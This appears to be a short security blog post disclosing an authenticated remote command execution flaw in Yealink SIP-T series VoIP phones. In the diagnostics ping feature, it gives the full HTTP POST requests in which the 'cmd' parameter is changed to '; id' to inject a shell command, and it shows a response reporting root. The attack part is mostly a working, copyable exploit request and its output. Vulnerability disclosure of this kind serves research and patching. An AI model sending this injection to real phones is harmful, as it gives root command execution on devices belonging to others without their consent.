Do you love hacking Phones? well of course VOIP phones , this should be worth a read!
Just unconvered a vulnerability that existed in Yealink SIP-TXXX, This vulnerability leads to RCE , but it's Authenticated meaning you must be logged in to the web interface!
---
#### Proof Of Concept
After logging in to the web interface which by any chance can be port 80 or port 443 , there is a `Network` tab clicking on it , there are 5 sections `Basic`,`PC Port`,`NAT`,`Advanced`,and `Diagnostics`, Clicking on `Diagnostics`:
and there we can `ping` or perform `traceroute` command upon an IP address , capturing that request with burpsuite will reveal how the whole thing should look and how the parameters are sent with their values;
```text
POST /servlet?m=mod_data&p=network-diagnosis&q=docmd&Rajax=0.890925468511929 HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 49
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/servlet?m=mod_data&p=network-diagnosis&q=load
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=9a83d24461329a130
Connection: close
cmd=start ping 127.0.0.1&token=1714636915c6acea98
```
so the parameter `cmd` takes the value `start` then the command to execute `ping 127.0.0.1`, so I thought of it as an easy win , where as I changed the value of the parameter `cmd` to take another value to execute instead of `ping` by an easy basic linux command:
```text
cmd=; id;&token=1714636915c6acea98
```
and now it will execute `id` command instead!
**POST REQUEST**
```text
POST /servlet?m=mod_data&p=network-diagnosis&q=docmd&Rajax=0.6597899560162612 HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 33
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://xxx.xxx.xxx.xxx
Referer: http://xxx.xxx.xxx.xxx/servlet?m=mod_data&p=network-diagnosis&q=load
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=9a83d2446809c4f88
Connection: close
cmd=; id&token=1957747793cee22738
```
**RESPONSE**
```
HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
Date: Wed, 10 Nov 2021 14:20:23 GMT
Server: embed httpd
Content-Length: 82
<html>
<body>
<div id="_RES_INFO_">
uid=0(root) gid=0(root)
</div>
</body>
</html>
```
And there we have RCE! :100:
Contact : Twitter: [tahaafarooq](https://twitter.com/tahaafarooq), Telegram : [tahaafarooq](https://t.me/tahaafarooq)
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